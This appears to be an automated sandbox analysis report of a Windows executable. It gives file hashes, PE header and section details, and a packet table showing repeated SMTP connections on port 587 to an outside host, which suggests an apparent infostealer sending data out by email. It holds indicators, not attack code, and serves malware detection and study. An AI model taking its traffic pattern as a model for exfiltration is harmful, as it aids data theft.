SHA256:	df9e900bc2aba3462d0b9d2fb4e81719604f4c63871a2225edce136c140e8fc8
SHA512:	8df2bb22f07eb282247d5b98d627fc5cf8d5ac9958304c43a8916eb4ef2ecf9627ad753c07206576e9550672e57581767dcb0b1cf140bc7f2f76bdef37a89719
SSDEEP:	12288:A5rkOKFLWcw4n3BzGC9t1SJFrg632LvRpVR09BQoq:ckOKFiX4xy6c86G7BR09B3q
TLSH:	25E41207F61CA38ED7DA8AF6397A023012289FA35940BC49F9E8FD6D153178C69135E7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0..Z............... ....@...... .......................`......v.....`................................

File Icon


Icon Hash:	24ed8d96b2ade832

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFAFBEEAE [Sat Jun 9 06:43:58 2103 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0xd866	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x79fe	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5a1a	0x5c00	457150ed573d86e059095744a029ff6f	False	0.490531589673913	data	5.84563717318207	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0xd866	0xda00	bcd9c5f638d0c24686a93e204983d0c2	False	0.09005877293577981	data	3.7589393984411688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x8144	0xd228	Device independent bitmap graphic, 101 x 256 x 32, image size 51712, resolution 9055 x 9055 px/m	0.07864312267657993
RT_GROUP_ICON	0x1536c	0x14	data	1.15
RT_VERSION	0x15380	0x2fc	data	0.43455497382198954
RT_MANIFEST	0x1567c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 8, 2024 09:20:47.086616993 CEST	49675	443	192.168.2.4	173.222.162.32
May 8, 2024 09:20:48.242893934 CEST	49678	443	192.168.2.4	104.46.162.224
May 8, 2024 09:20:56.695885897 CEST	49675	443	192.168.2.4	173.222.162.32
May 8, 2024 09:21:03.240431070 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:03.240458012 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:03.240546942 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:03.278233051 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:03.278249025 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:03.616898060 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:03.616978884 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:03.628257990 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:03.628277063 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:03.628508091 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:03.680249929 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:04.518321991 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:04.560128927 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:04.734947920 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:04.735007048 CEST	443	49730	104.26.13.205	192.168.2.4
May 8, 2024 09:21:04.735138893 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:04.759654999 CEST	49730	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:05.093671083 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:05.256122112 CEST	80	49731	208.95.112.1	192.168.2.4
May 8, 2024 09:21:05.256225109 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:05.256422043 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:05.419017076 CEST	80	49731	208.95.112.1	192.168.2.4
May 8, 2024 09:21:05.461514950 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:08.692528009 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:08.692581892 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:08.692656040 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:08.767729044 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:08.767777920 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.104895115 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.104975939 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:09.106631041 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:09.106650114 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.106952906 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.165087938 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:09.208125114 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.527292967 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.527354956 CEST	443	49732	104.26.13.205	192.168.2.4
May 8, 2024 09:21:09.527580976 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:09.531440973 CEST	49732	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:09.538868904 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:09.700952053 CEST	80	49733	208.95.112.1	192.168.2.4
May 8, 2024 09:21:09.701035023 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:09.701174974 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:09.864020109 CEST	80	49733	208.95.112.1	192.168.2.4
May 8, 2024 09:21:09.977161884 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:11.006592035 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:11.168792009 CEST	80	49733	208.95.112.1	192.168.2.4
May 8, 2024 09:21:11.168889999 CEST	49733	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:11.272459030 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:11.594496965 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:11.594607115 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:11.920242071 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:11.920680046 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.241900921 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.242719889 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:12.243499994 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.404956102 CEST	80	49731	208.95.112.1	192.168.2.4
May 8, 2024 09:21:12.408198118 CEST	49731	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:12.468164921 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.468178988 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.468240023 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.468358040 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.563229084 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.563333988 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.793026924 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.793222904 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.793654919 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:12.884509087 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:12.885888100 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.116566896 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.116580963 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.116592884 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.116658926 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.126113892 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.206696033 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.207757950 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.207770109 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.207781076 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.207828045 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.207923889 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.447860003 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.453589916 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.527707100 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.545315981 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.778259039 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.778333902 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.778445959 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.780826092 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.869292021 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.869306087 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.869317055 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:13.869371891 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:13.908993959 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:14.102818966 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.103207111 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:14.228830099 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.367757082 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:14.464112043 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.493489027 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.493843079 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:14.815711021 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.817444086 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:14.818057060 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:14.912858009 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:14.912895918 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:14.912955999 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:14.925420046 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:14.925445080 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.095591068 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.142823935 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.145044088 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.260723114 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.260822058 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.262480021 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.262497902 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.262742996 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.353684902 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.365974903 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.412122011 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.415256023 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.415271997 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.415287018 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.415338039 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.445575953 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.466702938 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.468446970 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.468518019 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.468835115 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.468866110 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.694040060 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.694103003 CEST	443	49745	104.26.13.205	192.168.2.4
May 8, 2024 09:21:15.694147110 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.697092056 CEST	49745	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:15.699955940 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:15.765372038 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.765836954 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:15.789602041 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.789987087 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:15.863029003 CEST	80	49746	208.95.112.1	192.168.2.4
May 8, 2024 09:21:15.863158941 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:15.865681887 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:16.029175043 CEST	80	49746	208.95.112.1	192.168.2.4
May 8, 2024 09:21:16.039457083 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.125786066 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.180485964 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:16.180517912 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.180525064 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.218427896 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.479875088 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.539243937 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.613501072 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.801630020 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.801834106 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.801877975 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.801886082 CEST	587	49739	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.801963091 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.801996946 CEST	49739	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.802726984 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.933588982 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:16.935616016 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:16.974955082 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:16.975699902 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.122133017 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.122219086 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.137123108 CEST	80	49746	208.95.112.1	192.168.2.4
May 8, 2024 09:21:17.137200117 CEST	49746	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:17.256077051 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.257246971 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.257353067 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.257399082 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.257419109 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.297301054 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.297384024 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.443345070 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.443475008 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.576822996 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.576877117 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.621773958 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.621994972 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.654258966 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.699342966 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.762973070 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.764997005 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.765010118 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.765037060 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.765060902 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.765208006 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.943512917 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.943842888 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.943862915 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:17.943931103 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:17.944067001 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.019193888 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.019397974 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.019454956 CEST	587	49742	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.019503117 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.019788980 CEST	49742	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.020737886 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.084834099 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.085150957 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.267272949 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.268726110 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.342036009 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.344922066 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.405678988 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.405700922 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.405714989 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.405810118 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.431166887 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.592094898 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.592122078 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.592138052 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.592241049 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.600830078 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.668009043 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.668190956 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.751060009 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.752526999 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.922858953 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.927601099 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.989275932 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.989480019 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.989521027 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.989532948 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:18.989603996 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:18.989733934 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.072184086 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.072204113 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.072216034 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.072280884 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.072761059 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.249700069 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.249783993 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.252866030 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.253200054 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.311316967 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.316411972 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.392271996 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.392565012 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.575330973 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.575630903 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.638760090 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.638780117 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.638792038 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.638844013 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.640254021 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.746793985 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.746984005 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:19.938512087 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.961641073 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:19.984421968 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.066696882 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.066898108 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.146250963 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.146605968 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.305788040 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.305824041 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.305844069 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.310898066 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.330945015 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.386600971 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.387327909 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.468128920 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.468509912 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.468801975 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.653022051 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.653599024 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.707926035 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.709990978 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.709990978 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710062027 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710062027 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710232973 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710232973 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710300922 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.710300922 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.712374926 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:20.790791988 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:20.796843052 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.002372980 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.003011942 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.029540062 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.029792070 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.029874086 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.029927969 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.072992086 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.120789051 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.121445894 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.121445894 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.121504068 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.121504068 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.123897076 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.164669991 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.326297045 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.350671053 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.443051100 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.453186035 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.571455956 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.672286034 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:21.691987038 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:21.711622953 CEST	49749	587	192.168.2.4	185.230.214.164
